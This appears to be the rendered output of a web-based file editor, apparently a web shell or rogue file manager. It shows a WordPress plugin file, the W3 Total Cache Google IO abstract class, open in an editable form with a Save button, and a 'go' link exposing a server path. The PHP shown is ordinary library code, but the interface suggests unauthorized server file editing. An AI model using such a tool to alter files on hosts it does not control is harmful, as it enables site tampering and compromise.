<p style='color:red'>❌ domains folder not found.</p><h2>✏️ Editing: Abstract.php</h2><form method='post'>
        <textarea name='content' rows='20' cols='100'>&lt;?php
/*
 * Copyright 2013 Google Inc.
 *
 * Licensed under the Apache License, Version 2.0 (the &quot;License&quot;);
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an &quot;AS IS&quot; BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

/**
 * Abstract IO base class
 */

abstract class W3TCG_Google_IO_Abstract
{
  const UNKNOWN_CODE = 0;
  const FORM_URLENCODED = 'application/x-www-form-urlencoded';
  private static $CONNECTION_ESTABLISHED_HEADERS = array(
    &quot;HTTP/1.0 200 Connection established\r\n\r\n&quot;,
    &quot;HTTP/1.1 200 Connection established\r\n\r\n&quot;,
  );
  private static $ENTITY_HTTP_METHODS = array(&quot;POST&quot; =&gt; null, &quot;PUT&quot; =&gt; null);

  /** @var W3TCG_Google_Client */
  protected $client;

  public function __construct(W3TCG_Google_Client $client)
  {
    $this-&gt;client = $client;
    $timeout = $client-&gt;getClassConfig('W3TCG_Google_IO_Abstract', 'request_timeout_seconds');
    if ($timeout &gt; 0) {
      $this-&gt;setTimeout($timeout);
    }
  }

  /**
   * Executes a W3TCG_Google_Http_Request and returns the resulting populated W3TCG_Google_Http_Request
   * @param W3TCG_Google_Http_Request $request
   * @return W3TCG_Google_Http_Request $request
   */
  abstract public function executeRequest(W3TCG_Google_Http_Request $request);

  /**
   * Set options that update the transport implementation's behavior.
   * @param $options
   */
  abstract public function setOptions($options);
  
  /**
   * Set the maximum request time in seconds.
   * @param $timeout in seconds
   */
  abstract public function setTimeout($timeout);
  
  /**
   * Get the maximum request time in seconds.
   * @return timeout in seconds
   */
  abstract public function getTimeout();

  /**
   * Test for the presence of a cURL header processing bug
   *
   * The cURL bug was present in versions prior to 7.30.0 and caused the header
   * length to be miscalculated when a &quot;Connection established&quot; header added by
   * some proxies was present.
   *
   * @return boolean
   */
  abstract protected function needsQuirk();

  /**
   * @visible for testing.
   * Cache the response to an HTTP request if it is cacheable.
   * @param W3TCG_Google_Http_Request $request
   * @return bool Returns true if the insertion was successful.
   * Otherwise, return false.
   */
  public function setCachedRequest(W3TCG_Google_Http_Request $request)
  {
    // Determine if the request is cacheable.
    if (W3TCG_Google_Http_CacheParser::isResponseCacheable($request)) {
      $this-&gt;client-&gt;getCache()-&gt;set($request-&gt;getCacheKey(), $request);
      return true;
    }

    return false;
  }
  
  /**
   * Execute an HTTP Request
   *
   * @param W3TCG_Google_HttpRequest $request the http request to be executed
   * @return W3TCG_Google_HttpRequest http request with the response http code,
   * response headers and response body filled in
   * @throws W3TCG_Google_IO_Exception on curl or IO error
   */
  public function makeRequest(W3TCG_Google_Http_Request $request)
  {
    // First, check to see if we have a valid cached version.
    $cached = $this-&gt;getCachedRequest($request);
    if ($cached !== false &amp;&amp; $cached instanceof W3TCG_Google_Http_Request) {
      if (!$this-&gt;checkMustRevalidateCachedRequest($cached, $request)) {
        return $cached;
      }
    }

    if (array_key_exists($request-&gt;getRequestMethod(), self::$ENTITY_HTTP_METHODS)) {
      $request = $this-&gt;processEntityRequest($request);
    }

    list($responseData, $responseHeaders, $respHttpCode) = $this-&gt;executeRequest($request);

    if ($respHttpCode == 304 &amp;&amp; $cached) {
      // If the server responded NOT_MODIFIED, return the cached request.
      $this-&gt;updateCachedRequest($cached, $responseHeaders);
      return $cached;
    }

    if (!isset($responseHeaders['Date']) &amp;&amp; !isset($responseHeaders['date'])) {
      $responseHeaders['Date'] = date(&quot;r&quot;);
    }

    $request-&gt;setResponseHttpCode($respHttpCode);
    $request-&gt;setResponseHeaders($responseHeaders);
    $request-&gt;setResponseBody($responseData);
    // Store the request in cache (the function checks to see if the request
    // can actually be cached)
    $this-&gt;setCachedRequest($request);
    return $request;
  }

  /**
   * @visible for testing.
   * @param W3TCG_Google_Http_Request $request
   * @return W3TCG_Google_Http_Request|bool Returns the cached object or
   * false if the operation was unsuccessful.
   */
  public function getCachedRequest(W3TCG_Google_Http_Request $request)
  {
    if (false === W3TCG_Google_Http_CacheParser::isRequestCacheable($request)) {
      return false;
    }

    return $this-&gt;client-&gt;getCache()-&gt;get($request-&gt;getCacheKey());
  }

  /**
   * @visible for testing
   * Process an http request that contains an enclosed entity.
   * @param W3TCG_Google_Http_Request $request
   * @return W3TCG_Google_Http_Request Processed request with the enclosed entity.
   */
  public function processEntityRequest(W3TCG_Google_Http_Request $request)
  {
    $postBody = $request-&gt;getPostBody();
    $contentType = $request-&gt;getRequestHeader(&quot;content-type&quot;);

    // Set the default content-type as application/x-www-form-urlencoded.
    if (false == $contentType) {
      $contentType = self::FORM_URLENCODED;
      $request-&gt;setRequestHeaders(array('content-type' =&gt; $contentType));
    }

    // Force the payload to match the content-type asserted in the header.
    if ($contentType == self::FORM_URLENCODED &amp;&amp; is_array($postBody)) {
      $postBody = http_build_query($postBody, '', '&amp;');
      $request-&gt;setPostBody($postBody);
    }

    // Make sure the content-length header is set.
    if (!$postBody || is_string($postBody)) {
      $postsLength = strlen($postBody);
      $request-&gt;setRequestHeaders(array('content-length' =&gt; $postsLength));
    }

    return $request;
  }

  /**
   * Check if an already cached request must be revalidated, and if so update
   * the request with the correct ETag headers.
   * @param W3TCG_Google_Http_Request $cached A previously cached response.
   * @param W3TCG_Google_Http_Request $request The outbound request.
   * return bool If the cached object needs to be revalidated, false if it is
   * still current and can be re-used.
   */
  protected function checkMustRevalidateCachedRequest($cached, $request)
  {
    if (W3TCG_Google_Http_CacheParser::mustRevalidate($cached)) {
      $addHeaders = array();
      if ($cached-&gt;getResponseHeader('etag')) {
        // [13.3.4] If an entity tag has been provided by the origin server,
        // we must use that entity tag in any cache-conditional request.
        $addHeaders['If-None-Match'] = $cached-&gt;getResponseHeader('etag');
      } elseif ($cached-&gt;getResponseHeader('date')) {
        $addHeaders['If-Modified-Since'] = $cached-&gt;getResponseHeader('date');
      }

      $request-&gt;setRequestHeaders($addHeaders);
      return true;
    } else {
      return false;
    }
  }

  /**
   * Update a cached request, using the headers from the last response.
   * @param W3TCG_Google_HttpRequest $cached A previously cached response.
   * @param mixed Associative array of response headers from the last request.
   */
  protected function updateCachedRequest($cached, $responseHeaders)
  {
    if (isset($responseHeaders['connection'])) {
      $hopByHop = array_merge(
          self::$HOP_BY_HOP,
          explode(
              ',',
              $responseHeaders['connection']
          )
      );

      $endToEnd = array();
      foreach ($hopByHop as $key) {
        if (isset($responseHeaders[$key])) {
          $endToEnd[$key] = $responseHeaders[$key];
        }
      }
      $cached-&gt;setResponseHeaders($endToEnd);
    }
  }

  /**
   * Used by the IO lib and also the batch processing.
   *
   * @param $respData
   * @param $headerSize
   * @return array
   */
  public function parseHttpResponse($respData, $headerSize)
  {
    // check proxy header
    foreach (self::$CONNECTION_ESTABLISHED_HEADERS as $established_header) {
      if (stripos($respData, $established_header) !== false) {
        // existed, remove it
        $respData = str_ireplace($established_header, '', $respData);
        // Subtract the proxy header size unless the cURL bug prior to 7.30.0
        // is present which prevented the proxy header size from being taken into
        // account.
        if (!$this-&gt;needsQuirk()) {
          $headerSize -= strlen($established_header);
        }
        break;
      }
    }

    if ($headerSize) {
      $responseBody = substr($respData, $headerSize);
      $responseHeaders = substr($respData, 0, $headerSize);
    } else {
      $responseSegments = explode(&quot;\r\n\r\n&quot;, $respData, 2);
      $responseHeaders = $responseSegments[0];
      $responseBody = isset($responseSegments[1]) ? $responseSegments[1] :
                                                    null;
    }

    $responseHeaders = $this-&gt;getHttpResponseHeaders($responseHeaders);
    return array($responseHeaders, $responseBody);
  }

  /**
   * Parse out headers from raw headers
   * @param rawHeaders array or string
   * @return array
   */
  public function getHttpResponseHeaders($rawHeaders)
  {
    if (is_array($rawHeaders)) {
      return $this-&gt;parseArrayHeaders($rawHeaders);
    } else {
      return $this-&gt;parseStringHeaders($rawHeaders);
    }
  }

  private function parseStringHeaders($rawHeaders)
  {
    $headers = array();
    $responseHeaderLines = explode(&quot;\r\n&quot;, $rawHeaders);
    foreach ($responseHeaderLines as $headerLine) {
      if ($headerLine &amp;&amp; strpos($headerLine, ':') !== false) {
        list($header, $value) = explode(': ', $headerLine, 2);
        $header = strtolower($header);
        if (isset($headers[$header])) {
          $headers[$header] .= &quot;\n&quot; . $value;
        } else {
          $headers[$header] = $value;
        }
      }
    }
    return $headers;
  }

  private function parseArrayHeaders($rawHeaders)
  {
    $header_count = count($rawHeaders);
    $headers = array();

    for ($i = 0; $i &lt; $header_count; $i++) {
      $header = $rawHeaders[$i];
      // Times will have colons in - so we just want the first match.
      $header_parts = explode(': ', $header, 2);
      if (count($header_parts) == 2) {
        $headers[$header_parts[0]] = $header_parts[1];
      }
    }

    return $headers;
  }
}
</textarea><br>
        <input type='submit' name='content_save' value='💾 Save'>
        </form>
        <hr><a href='?go=%2Fhome%2Fmba%2Fpublic_html%2Fwp-content-20250804013034%2Fplugins%2Fw3-total-cache%2Flib%2FGoogle%2FIO'>🔙 Back</a>